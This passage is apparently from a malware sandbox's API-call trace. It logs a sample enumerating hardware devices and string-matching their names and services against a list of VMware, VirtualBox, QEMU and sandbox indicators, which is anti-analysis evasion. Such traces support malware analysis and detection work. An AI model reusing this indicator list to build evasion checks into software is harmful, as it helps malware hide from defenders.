hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0278.758] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa68 [0278.758] StrStrIA (lpFirst="mouhid", lpSrch="vmx_svga") returned 0x0 [0278.759] lstrlenA (lpString="vmx_svga") returned 8 [0278.759] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0278.759] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef798 [0278.759] StrStrIA (lpFirst="mouhid", lpSrch="ansfltr") returned 0x0 [0278.759] lstrlenA (lpString="ansfltr") returned 7 [0278.759] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef798 | out: hHeap=0x2670000) returned 1 [0278.759] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8a8 [0278.759] StrStrIA (lpFirst="mouhid", lpSrch="sbtisht") returned 0x0 [0278.759] lstrlenA (lpString="sbtisht") returned 7 [0278.759] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8a8 | out: hHeap=0x2670000) returned 1 [0278.759] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0278.759] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x1d, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0278.759] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.873] GetLastError () returned 0x7a [0278.873] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x26) returned 0x26ef908 [0278.873] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x13, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.969] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efba0 [0278.969] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware Pointing") returned 0x0 [0278.969] lstrlenA (lpString="VMware Pointing") returned 15 [0278.969] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0278.969] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef938 [0278.969] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware Accelerated") returned 0x0 [0278.969] lstrlenA (lpString="VMware Accelerated") returned 18 [0278.969] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef938 | out: hHeap=0x2670000) returned 1 [0278.969] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efbb8 [0278.969] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware SCSI") returned 0x0 [0278.969] lstrlenA (lpString="VMware SCSI") returned 11 [0278.969] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0278.969] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efba0 [0278.969] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware SVGA") returned 0x0 [0278.970] lstrlenA (lpString="VMware SVGA") returned 11 [0278.970] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0278.970] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb88 [0278.970] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware Replay") returned 0x0 [0278.970] lstrlenA (lpString="VMware Replay") returned 13 [0278.970] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0278.970] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef938 [0278.970] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware server memory") returned 0x0 [0278.970] lstrlenA (lpString="VMware server memory") returned 20 [0278.970] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef938 | out: hHeap=0x2670000) returned 1 [0278.970] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efab0 [0278.970] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="CWSandbox") returned 0x0 [0278.970] lstrlenA (lpString="CWSandbox") returned 9 [0278.970] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0278.970] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa80 [0278.970] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="Virtual HD") returned 0x0 [0278.970] lstrlenA (lpString="Virtual HD") returned 10 [0278.970] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0278.970] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef828 [0278.970] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="QEMU") returned 0x0 [0278.970] lstrlenA (lpString="QEMU") returned 4 [0278.971] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef828 | out: hHeap=0x2670000) returned 1 [0278.971] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efaf8 [0278.971] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="Red Hat VirtIO") returned 0x0 [0278.971] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0278.971] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0278.971] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb28 [0278.971] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="srootkit") returned 0x0 [0278.971] lstrlenA (lpString="srootkit") returned 8 [0278.971] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0278.971] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa08 [0278.971] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware VMaudio") returned 0x0 [0278.971] lstrlenA (lpString="VMware VMaudio") returned 14 [0278.971] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0278.971] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efab0 [0278.971] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VMware Vista") returned 0x0 [0278.971] lstrlenA (lpString="VMware Vista") returned 12 [0278.971] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0278.971] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa20 [0279.020] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VBoxVideo") returned 0x0 [0279.020] lstrlenA (lpString="VBoxVideo") returned 9 [0279.020] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0279.020] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efba0 [0279.021] StrStrIA (lpFirst="Sejin USB Keyboard", lpSrch="VBoxGuest") returned 0x0 [0279.021] lstrlenA (lpString="VBoxGuest") returned 9 [0279.021] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0279.021] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0279.021] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.021] GetLastError () returned 0x7a [0279.021] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa50 [0279.021] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa50, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa50, RequiredSize=0x19fe7c) returned 1 [0279.022] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef738 [0279.022] StrStrIA (lpFirst="HidUsb", lpSrch="vmxnet") returned 0x0 [0279.022] lstrlenA (lpString="vmxnet") returned 6 [0279.022] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef738 | out: hHeap=0x2670000) returned 1 [0279.022] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8b8 [0279.022] StrStrIA (lpFirst="HidUsb", lpSrch="vmscsi") returned 0x0 [0279.022] lstrlenA (lpString="vmscsi") returned 6 [0279.022] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8b8 | out: hHeap=0x2670000) returned 1 [0279.022] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7b8 [0279.022] StrStrIA (lpFirst="HidUsb", lpSrch="VMAUDIO") returned 0x0 [0279.022] lstrlenA (lpString="VMAUDIO") returned 7 [0279.022] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7b8 | out: hHeap=0x2670000) returned 1 [0279.022] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef768 [0279.022] StrStrIA (lpFirst="HidUsb", lpSrch="vmdebug") returned 0x0 [0279.022] lstrlenA (lpString="vmdebug") returned 7 [0279.022] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0279.022] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef728 [0279.022] StrStrIA (lpFirst="HidUsb", lpSrch="vm3dmp") returned 0x0 [0279.022] lstrlenA (lpString="vm3dmp") returned 6 [0279.022] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0279.022] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efae0 [0279.023] StrStrIA (lpFirst="HidUsb", lpSrch="vmrawdsk") returned 0x0 [0279.023] lstrlenA (lpString="vmrawdsk") returned 8 [0279.023] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0279.023] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efbb8 [0279.023] StrStrIA (lpFirst="HidUsb", lpSrch="vmx_svga") returned 0x0 [0279.023] lstrlenA (lpString="vmx_svga") returned 8 [0279.023] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0279.023] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef768 [0279.023] StrStrIA (lpFirst="HidUsb", lpSrch="ansfltr") returned 0x0 [0279.023] lstrlenA (lpString="ansfltr") returned 7 [0279.023] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0279.023] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef768 [0279.023] StrStrIA (lpFirst="HidUsb", lpSrch="sbtisht") returned 0x0 [0279.023] lstrlenA (lpString="sbtisht") returned 7 [0279.023] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0279.023] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0279.023] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x1e, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.023] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.033] GetLastError () returned 0x7a [0279.033] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x34) returned 0x26ef908 [0279.033] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x1a, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.072] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efaf8 [0279.072] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="VMware Pointing") returned 0x0 [0279.072] lstrlenA (lpString="VMware Pointing") returned 15 [0279.072] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0279.072] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef948 [0279.072] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="VMware Accelerated") returned 0x0 [0279.073] lstrlenA (lpString="VMware Accelerated") returned 18 [0279.073] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef948 | out: hHeap=0x2670000) returned 1 [0279.073] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb28 [0279.073] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="VMware SCSI") returned 0x0 [0279.073] lstrlenA (lpString="VMware SCSI") returned 11 [0279.073] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0279.073] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa08 [0279.073] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="VMware SVGA") returned 0x0 [0279.073] lstrlenA (lpString="VMware SVGA") returned 11 [0279.073] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0279.073] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efab0 [0279.073] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="VMware Replay") returned 0x0 [0279.073] lstrlenA (lpString="VMware Replay") returned 13 [0279.073] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0279.073] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef948 [0279.073] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="VMware server memory") returned 0x0 [0279.073] lstrlenA (lpString="VMware server memory") returned 20 [0279.073] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef948 | out: hHeap=0x2670000) returned 1 [0279.073] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa20 [0279.073] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="CWSandbox") returned 0x0 [0279.073] lstrlenA (lpString="CWSandbox") returned 9 [0279.073] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0279.074] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efba0 [0279.074] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="Virtual HD") returned 0x0 [0279.074] lstrlenA (lpString="Virtual HD") returned 10 [0279.074] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0279.074] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef888 [0279.074] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="QEMU") returned 0x0 [0279.074] lstrlenA (lpString="QEMU") returned 4 [0279.074] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef888 | out: hHeap=0x2670000) returned 1 [0279.074] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa50 [0279.074] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="Red Hat VirtIO") returned 0x0 [0279.074] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0279.074] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0279.074] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efae0 [0279.074] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="srootkit") returned 0x0 [0279.074] lstrlenA (lpString="srootkit") returned 8 [0279.074] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0279.074] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa20 [0279.074] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="VMware VMaudio") returned 0x0 [0279.074] lstrlenA (lpString="VMware VMaudio") returned 14 [0279.074] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0279.074] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb10 [0279.074] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="VMware Vista") returned 0x0 [0279.074] lstrlenA (lpString="VMware Vista") returned 12 [0279.075] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0279.075] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa50 [0279.075] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="VBoxVideo") returned 0x0 [0279.075] lstrlenA (lpString="VBoxVideo") returned 9 [0279.075] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0279.075] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb88 [0279.075] StrStrIA (lpFirst="UMBus Root Bus Enumerator", lpSrch="VBoxGuest") returned 0x0 [0279.075] lstrlenA (lpString="VBoxGuest") returned 9 [0279.075] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0279.075] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0279.075] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.075] GetLastError () returned 0x7a [0279.075] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef9f0 [0279.075] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef9f0, PropertyBufferSize=0x6, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef9f0, RequiredSize=0x19fe7c) returned 1 [0279.076] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef768 [0279.076] StrStrIA (lpFirst="umbus", lpSrch="vmxnet") returned 0x0 [0279.076] lstrlenA (lpString="vmxnet") returned 6 [0279.076] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0279.076] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef768 [0279.076] StrStrIA (lpFirst="umbus", lpSrch="vmscsi") returned 0x0 [0279.076] lstrlenA (lpString="vmscsi") returned 6 [0279.076] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0279.076] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef898 [0279.076] StrStrIA (lpFirst="umbus", lpSrch="VMAUDIO") returned 0x0 [0279.076] lstrlenA (lpString="VMAUDIO") returned 7 [0279.076] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef898 | out: hHeap=0x2670000) returned 1 [0279.076] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7a8 [0279.076] StrStrIA (lpFirst="umbus", lpSrch="vmdebug") returned 0x0 [0279.076] lstrlenA (lpString="vmdebug") returned 7 [0279.077] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7a8 | out: hHeap=0x2670000) returned 1 [0279.077] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8e8 [0279.077] StrStrIA (lpFirst="umbus", lpSrch="vm3dmp") returned 0x0 [0279.077] lstrlenA (lpString="vm3dmp") returned 6 [0279.077] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8e8 | out: hHeap=0x2670000) returned 1 [0279.077] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa68 [0279.077] StrStrIA (lpFirst="umbus", lpSrch="vmrawdsk") returned 0x0 [0279.077] lstrlenA (lpString="vmrawdsk") returned 8 [0279.077] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0279.077] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efba0 [0279.077] StrStrIA (lpFirst="umbus", lpSrch="vmx_svga") returned 0x0 [0279.077] lstrlenA (lpString="vmx_svga") returned 8 [0279.077] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0279.077] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8f8 [0279.077] StrStrIA (lpFirst="umbus", lpSrch="ansfltr") returned 0x0 [0279.077] lstrlenA (lpString="ansfltr") returned 7 [0279.077] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8f8 | out: hHeap=0x2670000) returned 1 [0279.077] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef728 [0279.077] StrStrIA (lpFirst="umbus", lpSrch="sbtisht") returned 0x0 [0279.077] lstrlenA (lpString="sbtisht") returned 7 [0279.077] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0279.077] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0279.077] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x1f, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.078] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.080] GetLastError () returned 0x7a [0279.080] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1c) returned 0x26ef908 [0279.080] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xe, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.083] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efb70 [0279.083] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Pointing") returned 0x0 [0279.083] lstrlenA (lpString="VMware Pointing") returned 15 [0279.083] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0279.083] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef930 [0279.083] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Accelerated") returned 0x0 [0279.083] lstrlenA (lpString="VMware Accelerated") returned 18 [0279.083] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef930 | out: hHeap=0x2670000) returned 1 [0279.083] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef9f0 [0279.083] StrStrIA (lpFirst="???????? ????", lpSrch="VMware SCSI") returned 0x0 [0279.083] lstrlenA (lpString="VMware SCSI") returned 11 [0279.083] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0279.083] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efab0 [0279.083] StrStrIA (lpFirst="???????? ????", lpSrch="VMware SVGA") returned 0x0 [0279.084] lstrlenA (lpString="VMware SVGA") returned 11 [0279.084] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0279.084] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb10 [0279.084] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Replay") returned 0x0 [0279.084] lstrlenA (lpString="VMware Replay") returned 13 [0279.084] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0279.084] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef930 [0279.084] StrStrIA (lpFirst="???????? ????", lpSrch="VMware server memory") returned 0x0 [0279.084] lstrlenA (lpString="VMware server memory") returned 20 [0279.084] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef930 | out: hHeap=0x2670000) returned 1 [0279.084] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa50 [0279.084] StrStrIA (lpFirst="???????? ????", lpSrch="CWSandbox") returned 0x0 [0279.084] lstrlenA (lpString="CWSandbox") returned 9 [0279.084] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0279.084] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efae0 [0279.084] StrStrIA (lpFirst="???????? ????", lpSrch="Virtual HD") returned 0x0 [0279.084] lstrlenA (lpString="Virtual HD") returned 10 [0279.084] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0279.084] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef828 [0279.084] StrStrIA (lpFirst="???????? ????", lpSrch="QEMU") returned 0x0 [0279.084] lstrlenA (lpString="QEMU") returned 4 [0279.084] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef828 | out: hHeap=0x2670000) returned 1 [0279.084] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb28 [0279.084] StrStrIA (lpFirst="???????? ????", lpSrch="Red Hat VirtIO") returned 0x0 [0279.084] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0279.084] HeapFree (in: hHeap=0x2670000, 